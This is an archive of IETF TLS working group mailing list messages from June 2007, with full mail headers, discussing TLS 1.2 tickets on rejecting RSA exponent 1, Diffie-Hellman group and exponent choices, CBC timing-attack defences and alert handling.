List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org http://www3.tools.ietf.org/wg/tls/trac/ticket/26 Pasi suggested an implementation pitfalls section. I'm lukewarm on this. Proposed resolution: add if someone else writes. -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 11:02:51 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HurbX-0007cj-Ci; Sun, 03 Jun 2007 11:02:51 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HurbW-0007ce-KL for tls@ietf.org; Sun, 03 Jun 2007 11:02:50 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HurbV-0007eW-AT for tls@ietf.org; Sun, 03 Jun 2007 11:02:50 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 1CF5133C4B for ; Sun, 3 Jun 2007 08:01:55 -0700 (PDT) Date: Sun, 03 Jun 2007 08:01:54 -0700 From: Eric Rescorla To: tls@ietf.org User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070603150155.1CF5133C4B@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Cc: Subject: [TLS] Issue 30: Reject RSA public exponent 1 X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org http://www3.tools.ietf.org/wg/tls/trac/ticket/30 Nelson Bolyard writes: Some time ago, mozilla was modified to detect and reject RSA keys with public exponents equal to 1. Presumably, the readers of this list need no explanation of the implications of such keys. Now, mozilla users are encountering web sites whose certs have such keys. At least one public CA has apparently issued one or more such certs. I'm reporting this here to alert the readers of this list who may wish to ensure that their implementations detect such keys, and to suggest that perhaps the TLS RFC should explicitly forbid the use of any public keys (RSA or otherwise) that facilitate such weak encryption and/or authentication by requiring implentations to detect and reject them. My general feeling is that there are a broad category of "good crypto practices" issues that don't apply specifically to TLS. I'd love to see an RFC on them, but would rather not see them in TLS proper since they need to be duplicated in every crypto-using RFC. Proposed resolution: do nothing. -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 11:05:10 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hurdm-0001NF-9q; Sun, 03 Jun 2007 11:05:10 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hurdk-0001NA-Uz for tls@ietf.org; Sun, 03 Jun 2007 11:05:09 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hurdj-0007tP-M6 for tls@ietf.org; Sun, 03 Jun 2007 11:05:08 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 80C8133C4B for ; Sun, 3 Jun 2007 08:04:13 -0700 (PDT) Date: Sun, 03 Jun 2007 08:04:13 -0700 From: Eric Rescorla To: tls@ietf.org User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070603150413.80C8133C4B@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 Cc: Subject: [TLS] Clarify DH calculations X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org http://www3.tools.ietf.org/wg/tls/trac/ticket/35 Pasi writes: IMHO it probably would make sense for a TLS implementation to use one of the groups specified in RFC 4306 or 3526, instead of e.g. generating a random prime p (generating random primes is kind of slow, and then you have to worry about RFC 2785 etc.). (Would others agree with this recommendation? Should we add it to the TLS 1.2 spec?) This also seems like general crypto advice to me. Proposed resolution: do nothing. -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 11:08:07 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hurgc-0002GT-S5; Sun, 03 Jun 2007 11:08:06 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hurgc-0002Fd-1m for tls@lists.ietf.org; Sun, 03 Jun 2007 11:08:06 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hurga-0008A7-Pm for tls@lists.ietf.org; Sun, 03 Jun 2007 11:08:06 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 8E87B33C4B; Sun, 3 Jun 2007 08:07:10 -0700 (PDT) Date: Sun, 03 Jun 2007 08:07:10 -0700 From: Eric Rescorla To: Bodo Moeller Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys In-Reply-To: <20070515224351.GA27872@tau.invalid> References: <4648AEA2.3020506@bolyard.com> <20070515130804.GA15682@tau.invalid> <4649D2FD.2020309@drh-consultancy.demon.co.uk> <4649E35B.4030809@bolyard.com> <20070515202726.GA24732@tau.invalid> <0MKu60-1Ho53w3DRn-0003jg@mx.kundenserver.de> <20070515224351.GA27872@tau.invalid> User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070603150710.8E87B33C4B@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 Cc: tls@lists.ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At Wed, 16 May 2007 00:43:51 +0200, Bodo Moeller wrote: > I'd suggest stating in the TLS specification that 'q' can only be > included in the ServerKeyExchange message for the case of prime-order > subgroups. These are what you'd usually use, except sometimes if the > DH subgroup is nearly as large as 'p', which is a case where knowing > 'q' doesn't provide significant benefits anyhow. So, I'm no DH expert, but my understanding is that there are three common cases: 1. Randomly generated p with no special structure 2. Sophie-Germain primes where q is about p/2. 3. DSA-style groups where q< Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HutJe-0002oz-4Y; Sun, 03 Jun 2007 12:52:30 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HutJc-0002j3-1K for tls@lists.ietf.org; Sun, 03 Jun 2007 12:52:28 -0400 Received: from moutng.kundenserver.de ([212.227.126.183]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HutJX-0007gM-GU for tls@lists.ietf.org; Sun, 03 Jun 2007 12:52:28 -0400 Received: from [80.142.163.135] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu4) with ESMTP (Nemesis), id 0ML21M-1HutJU0nZO-0000zs; Sun, 03 Jun 2007 18:52:21 +0200 Received: by tau.invalid (Postfix, from userid 1000) id 41E2E1AF29; Sun, 3 Jun 2007 18:52:18 +0200 (CEST) Date: Sun, 3 Jun 2007 18:52:18 +0200 From: Bodo Moeller To: Eric Rescorla Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys Message-ID: <20070603165217.GA9266@tau.invalid> References: <4648AEA2.3020506@bolyard.com> <20070515130804.GA15682@tau.invalid> <4649D2FD.2020309@drh-consultancy.demon.co.uk> <4649E35B.4030809@bolyard.com> <20070515202726.GA24732@tau.invalid> <0MKu60-1Ho53w3DRn-0003jg@mx.kundenserver.de> <20070515224351.GA27872@tau.invalid> <20070603150710.8E87B33C4B@delta.rtfm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20070603150710.8E87B33C4B@delta.rtfm.com> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX1/GDkcMzjMxPwxHsfk1nJOqHXtJC2Sb3cNxigb +tnUVvaxIXquQI3TJ2jXO+r6iMv/z82cn/ZqkMhA+UJ+UI/Gdh hlrg2wPoObwkO23upxKwA== X-Spam-Score: 0.0 (/) X-Scan-Signature: 52f7a77164458f8c7b36b66787c853da Cc: tls@lists.ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Sun, Jun 03, 2007 at 08:07:10AM -0700, Eric Rescorla wrote: > At Wed, 16 May 2007 00:43:51 +0200, > Bodo Moeller wrote: >> I'd suggest stating in the TLS specification that 'q' can only be >> included in the ServerKeyExchange message for the case of prime-order >> subgroups. These are what you'd usually use, except sometimes if the >> DH subgroup is nearly as large as 'p', which is a case where knowing >> 'q' doesn't provide significant benefits anyhow. > So, I'm no DH expert, but my understanding is that there are three > common cases: > > 1. Randomly generated p with no special structure > 2. Sophie-Germain primes where q is about p/2. > 3. DSA-style groups where q< > Only in the last case does carrying around q offer much benefit. This is almost true. (The first case should be avoided: if you want to avoid the cost of finding a Sophie-Germain prime, use a DSA-style group instead. There are other cases of special structure besides #2 and #3 that are safe to use, though, and where you might not be using a prime order subgroup.) In the strong-prime case (#2: q is a Sophie-Germain prime, p = 2q + 1 is a strong prime), you'd have to be shown q (or do a very expensive test) to positively know that p is indeed a strong prime. Once you know this, you can save time by using short DH exponents in this case just as in the DSA-style case. So knowing q is useful for the client in the strong-prime case too. > Is this common enough that it's worth changing the spec? It could very well become common. With the protocol as it is now, there isn't that much gained by using a DSA-style group because this only helps the server, not the client. And those client implementations that don't care about spending five times or so more time than necessary on the DH exchange could simply ignore the extra information. > It was > my understanding that we mostly encouraged people to use S-G primes > in any case. There is no reason to recommend strong primes over other primes for ephemeral DH. They can be quite useful when using a *fixed* DH key (because if you use a DSA-style group, you'd need a subgroup membership test, which essentially means you'd lose the performance advantage of using a fixed DH key -- and then the total cost of the DH exchange with a DSA-style group might even be higher than with a strong prime and short exponents). But there is no need to use a fixed DH key for an ephemeral DH key exchange: usually, this should be avoided. We don't have to encourage people to use strong primes for the ephemeral DH key exchange. Rather, we should encourage them to use properly ephemeral DH -- i.e., not to reuse DH keys for more than a single handshake. If they do that, then they can gain a lot by using DSA-style groups. Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 13:23:11 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HutnH-0003RW-RX; Sun, 03 Jun 2007 13:23:07 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HutnG-0003RR-UU for tls@lists.ietf.org; Sun, 03 Jun 2007 13:23:06 -0400 Received: from woodstock.binhost.com ([66.150.120.2]) by ietf-mx.ietf.org with smtp (Exim 4.43) id 1HutnF-0004DH-ND for tls@lists.ietf.org; Sun, 03 Jun 2007 13:23:06 -0400 Received: (qmail 4478 invoked by uid 0); 3 Jun 2007 17:22:58 -0000 Received: from unknown (HELO THINKPADR52.vigilsec.com) (66.243.88.163) by woodstock.binhost.com with SMTP; 3 Jun 2007 17:22:58 -0000 X-Mailer: QUALCOMM Windows Eudora Version 7.1.0.9 Date: Sun, 03 Jun 2007 13:21:36 -0400 To: Eric Rescorla ,Bodo Moeller From: Russ Housley Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys In-Reply-To: <20070603150710.8E87B33C4B@delta.rtfm.com> References: <4648AEA2.3020506@bolyard.com> <20070515130804.GA15682@tau.invalid> <4649D2FD.2020309@drh-consultancy.demon.co.uk> <4649E35B.4030809@bolyard.com> <20070515202726.GA24732@tau.invalid> <0MKu60-1Ho53w3DRn-0003jg@mx.kundenserver.de> <20070515224351.GA27872@tau.invalid> <20070603150710.8E87B33C4B@delta.rtfm.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.1 (/) X-Scan-Signature: 0bc60ec82efc80c84b8d02f4b0e4de22 Cc: tls@lists.ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Message-Id: Eric: >At Wed, 16 May 2007 00:43:51 +0200, >Bodo Moeller wrote: > > I'd suggest stating in the TLS specification that 'q' can only be > > included in the ServerKeyExchange message for the case of prime-order > > subgroups. These are what you'd usually use, except sometimes if the > > DH subgroup is nearly as large as 'p', which is a case where knowing > > 'q' doesn't provide significant benefits anyhow. > >So, I'm no DH expert, but my understanding is that there are three >common cases: > >1. Randomly generated p with no special structure >2. Sophie-Germain primes where q is about p/2. >3. DSA-style groups where q< >Only in the last case does carrying around q offer much benefit. > >Is this common enough that it's worth changing the spec? It was >my understanding that we mostly encouraged people to use S-G primes >in any case. I think that FIPS 140 validated modules will use 3. And then, one needs to know q to detect small subgroups. Russ _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 13:23:22 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HutnW-0003Vg-Dm; Sun, 03 Jun 2007 13:23:22 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HutnU-0003VY-Hf for tls@ietf.org; Sun, 03 Jun 2007 13:23:20 -0400 Received: from smtp-out.google.com ([216.239.33.17]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HutnT-0004E7-1W for tls@ietf.org; Sun, 03 Jun 2007 13:23:20 -0400 Received: from spaceape13.eur.corp.google.com (spaceape13.eur.corp.google.com [172.28.16.147]) by smtp-out.google.com with ESMTP id l53HNDfW032727 for ; Sun, 3 Jun 2007 18:23:13 +0100 DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=received:message-id:date:from:to:subject:cc:in-reply-to: mime-version:content-type:content-transfer-encoding: content-disposition:references; b=vPpBpJ3guyUP5dkCuafrrkBSuFh+vJaWrNN213gWzXkU2xms65iT3+PUtlK9HACmT bWP0Ed/UEqcJwqktKMQWA== Received: from wa-out-1112.google.com (wahv33.prod.google.com [10.114.248.33]) by spaceape13.eur.corp.google.com with ESMTP id l53HMo5E031560 for ; Sun, 3 Jun 2007 18:23:10 +0100 Received: by wa-out-1112.google.com with SMTP id v33so2870999wah for ; Sun, 03 Jun 2007 10:23:10 -0700 (PDT) Received: by 10.114.254.1 with SMTP id b1mr4010845wai.1180891389706; Sun, 03 Jun 2007 10:23:09 -0700 (PDT) Received: by 10.114.254.10 with HTTP; Sun, 3 Jun 2007 10:23:09 -0700 (PDT) Message-ID: <1b587cab0706031023n2085a090sa005aad0353515c4@mail.gmail.com> Date: Sun, 3 Jun 2007 10:23:09 -0700 From: "Ben Laurie" To: "Eric Rescorla" Subject: Re: [TLS] Issue 15: Mandate protection against CBC mode timing attack In-Reply-To: <20070603145222.40A7833C4B@delta.rtfm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <20070603145222.40A7833C4B@delta.rtfm.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On 6/3/07, Eric Rescorla wrote: > http://www3.tools.ietf.org/wg/tls/trac/ticket/15 > > NIST's comments suggest that the defense suggested in 6.2.3.2 > should be mandatory. My argument is that hardware systems may > operate in fixed time or otherwise be safe and so we shouldn't > mandate any particular defense. Perhaps we should mandate it for implementations that are vulnerable? > > Proposed resolution: leave as-is. > > > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls > _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 15:47:44 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Huw38-0005S0-4g; Sun, 03 Jun 2007 15:47:38 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Huw36-0005OP-KG for tls@lists.ietf.org; Sun, 03 Jun 2007 15:47:36 -0400 Received: from moutng.kundenserver.de ([212.227.126.187]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Huw35-0000Mc-7R for tls@lists.ietf.org; Sun, 03 Jun 2007 15:47:36 -0400 Received: from [80.142.163.135] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu6) with ESMTP (Nemesis), id 0ML29c-1Huw321hnD-0002if; Sun, 03 Jun 2007 21:47:33 +0200 Received: by tau.invalid (Postfix, from userid 1000) id 2E2B11AF29; Sun, 3 Jun 2007 21:47:31 +0200 (CEST) Date: Sun, 3 Jun 2007 21:47:31 +0200 From: Bodo Moeller To: Russ Housley Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys Message-ID: <20070603194730.GA14314@tau.invalid> References: <4648AEA2.3020506@bolyard.com> <20070515130804.GA15682@tau.invalid> <4649D2FD.2020309@drh-consultancy.demon.co.uk> <4649E35B.4030809@bolyard.com> <20070515202726.GA24732@tau.invalid> <0MKu60-1Ho53w3DRn-0003jg@mx.kundenserver.de> <20070515224351.GA27872@tau.invalid> <20070603150710.8E87B33C4B@delta.rtfm.com> <0MKrQq-1HutnI0OD5-0006s3@mx.kundenserver.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <0MKrQq-1HutnI0OD5-0006s3@mx.kundenserver.de> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX18N/AXlgXgwql3LcQCGlfggrNIe0AT+gs1Iuib xXy8qY1H9ZO30Ipa7m57JrHqCVpL24Vp/6dMiKxdZD73LuF+cx lH+0XeA1OSC+4kK96bQJw== X-Spam-Score: 0.0 (/) X-Scan-Signature: 0bc60ec82efc80c84b8d02f4b0e4de22 Cc: tls@lists.ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Sun, Jun 03, 2007 at 01:21:36PM -0400, Russ Housley wrote: >> So, I'm no DH expert, but my understanding is that there are three >> common cases: >> >> 1. Randomly generated p with no special structure >> 2. Sophie-Germain primes where q is about p/2. >> 3. DSA-style groups where q<> [...] It was >> my understanding that we mostly encouraged people to use S-G primes >> in any case. > I think that FIPS 140 validated modules will use 3. And then, one > needs to know q to detect small subgroups. You don't really have to check that other parties' public DH keys are in the proper subgroup (that is, in the order-q subgroup) when using *single-use* DH keys yourself. There's nothing that could be gained through small-subgroup attacks in this case, and thus no need to check. Of course, you do need q to efficiently perform DH operations in this setting. Since you don't need subgroup membership tests with them, single-use DH keys are very practical. Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 15:56:07 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HuwBL-0004cs-65; Sun, 03 Jun 2007 15:56:07 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HuwBJ-0004cn-NK for tls@lists.ietf.org; Sun, 03 Jun 2007 15:56:05 -0400 Received: from woodstock.binhost.com ([66.150.120.2]) by ietf-mx.ietf.org with smtp (Exim 4.43) id 1HuwBI-0001b0-Cl for tls@lists.ietf.org; Sun, 03 Jun 2007 15:56:05 -0400 Received: (qmail 1671 invoked by uid 0); 3 Jun 2007 19:55:58 -0000 Received: from unknown (HELO THINKPADR52.vigilsec.com) (66.243.88.163) by woodstock.binhost.com with SMTP; 3 Jun 2007 19:55:58 -0000 X-Mailer: QUALCOMM Windows Eudora Version 7.1.0.9 Date: Sun, 03 Jun 2007 15:55:59 -0400 To: Bodo Moeller From: Russ Housley Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys In-Reply-To: <20070603194730.GA14314@tau.invalid> References: <4648AEA2.3020506@bolyard.com> <20070515130804.GA15682@tau.invalid> <4649D2FD.2020309@drh-consultancy.demon.co.uk> <4649E35B.4030809@bolyard.com> <20070515202726.GA24732@tau.invalid> <0MKu60-1Ho53w3DRn-0003jg@mx.kundenserver.de> <20070515224351.GA27872@tau.invalid> <20070603150710.8E87B33C4B@delta.rtfm.com> <0MKrQq-1HutnI0OD5-0006s3@mx.kundenserver.de> <20070603194730.GA14314@tau.invalid> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.1 (/) X-Scan-Signature: b19722fc8d3865b147c75ae2495625f2 Cc: tls@lists.ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Message-Id: Thanks for the correction and clarification. Russ At 03:47 PM 6/3/2007, Bodo Moeller wrote: >On Sun, Jun 03, 2007 at 01:21:36PM -0400, Russ Housley wrote: > > >> So, I'm no DH expert, but my understanding is that there are three > >> common cases: > >> > >> 1. Randomly generated p with no special structure > >> 2. Sophie-Germain primes where q is about p/2. > >> 3. DSA-style groups where q< > >> [...] It was > >> my understanding that we mostly encouraged people to use S-G primes > >> in any case. > > > I think that FIPS 140 validated modules will use 3. And then, one > > needs to know q to detect small subgroups. > >You don't really have to check that other parties' public DH keys are >in the proper subgroup (that is, in the order-q subgroup) when using >*single-use* DH keys yourself. There's nothing that could be gained >through small-subgroup attacks in this case, and thus no need to >check. > >Of course, you do need q to efficiently perform DH operations in this >setting. Since you don't need subgroup membership tests with them, >single-use DH keys are very practical. > >Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 15:59:14 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HuwEM-0006bf-M2; Sun, 03 Jun 2007 15:59:14 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HuwEK-0006bZ-Q5 for tls@ietf.org; Sun, 03 Jun 2007 15:59:12 -0400 Received: from moutng.kundenserver.de ([212.227.126.187]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HuwEJ-0001sr-DB for tls@ietf.org; Sun, 03 Jun 2007 15:59:12 -0400 Received: from [80.142.163.135] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu2) with ESMTP (Nemesis), id 0MKwtQ-1HuwEB34Us-0003BC; Sun, 03 Jun 2007 21:59:04 +0200 Received: by tau.invalid (Postfix, from userid 1000) id B01851AF29; Sun, 3 Jun 2007 21:59:02 +0200 (CEST) Date: Sun, 3 Jun 2007 21:59:02 +0200 From: Bodo Moeller To: Ben Laurie Subject: Re: [TLS] Issue 15: Mandate protection against CBC mode timing attack Message-ID: <20070603195902.GA14802@tau.invalid> References: <20070603145222.40A7833C4B@delta.rtfm.com> <1b587cab0706031023n2085a090sa005aad0353515c4@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1b587cab0706031023n2085a090sa005aad0353515c4@mail.gmail.com> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX18PUmsspIPb2wn1lSQw6ObLR8nwBvEzbzue0NZ Ctx/dAfdJy37a9auWQ1ath5wZNP+9qN9DZMZYhmcvMKvhVCSN1 WFBOWPEyo72R0FLGrVVVQ== X-Spam-Score: 0.0 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Sun, Jun 03, 2007 at 10:23:09AM -0700, Ben Laurie wrote: > On 6/3/07, Eric Rescorla wrote: >> http://www3.tools.ietf.org/wg/tls/trac/ticket/15 >> >> NIST's comments suggest that the defense suggested in 6.2.3.2 >> should be mandatory. My argument is that hardware systems may >> operate in fixed time or otherwise be safe and so we shouldn't >> mandate any particular defense. > Perhaps we should mandate it for implementations that are vulnerable? That's exactly what the current I-D does: "MUST ensure that record processing time is essentially the same whether or not the padding is correct", and "[i]n general, the best way to do this is ...". I don't see any reason to change the wording, so: >> Proposed resolution: leave as-is. Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 18:56:27 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Huyzk-0005ms-KJ; Sun, 03 Jun 2007 18:56:20 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Huyzj-0005X0-1Y for tls@ietf.org; Sun, 03 Jun 2007 18:56:19 -0400 Received: from balder-227.proper.com ([192.245.12.227]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Huyzh-0005O2-Jp for tls@ietf.org; Sun, 03 Jun 2007 18:56:19 -0400 Received: from [10.20.30.108] (dsl-63-249-108-169.cruzio.com [63.249.108.169]) (authenticated bits=0) by balder-227.proper.com (8.13.5/8.13.5) with ESMTP id l53MuC9G062863 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 3 Jun 2007 15:56:12 -0700 (MST) (envelope-from paul.hoffman@vpnc.org) Mime-Version: 1.0 Message-Id: In-Reply-To: <20070603145730.4507B33C4B@delta.rtfm.com> References: <20070603145730.4507B33C4B@delta.rtfm.com> Date: Sun, 3 Jun 2007 15:54:13 -0700 To: Eric Rescorla , tls@ietf.org From: Paul Hoffman Subject: Re: [TLS] Issue 16: Alert clarifications Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Spam-Score: 0.0 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At 7:57 AM -0700 6/3/07, Eric Rescorla wrote: >http://www3.tools.ietf.org/wg/tls/trac/ticket/16 > >Several people have raised the issue of what alerts must be fatal >and when they should be sent. NIST suggested that all fatal alerts >MUST be sent. They also suggested that the following alerts be fatal: > >- bad_certificate, >- unsupported_certificate >- certificate_revoked. >- certificate_expired > >We discussed this in Prague and looking at the minutes, it looks >to me like the resolution was as follows: > >- All fatal alerts MUST be sent >- For the above alerts, if you plan to tear down the connection > on that basis you MUST make them fatal and send them >- Add a warning that some implementations tear down the connection > for any alert so warning alerts are dangerous. New implementations > SHOULD not tear down the connection for warning alerts. > >Anyone disagree with this? I may be mistaken, but I thought there were comments to the effect of "implementations MUST NOT tear down connections based only on a warning". That's different than what you have in the last clause. --Paul Hoffman, Director --VPN Consortium _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 20:12:52 2007 Return-path: Received: from [127.0.0.1] 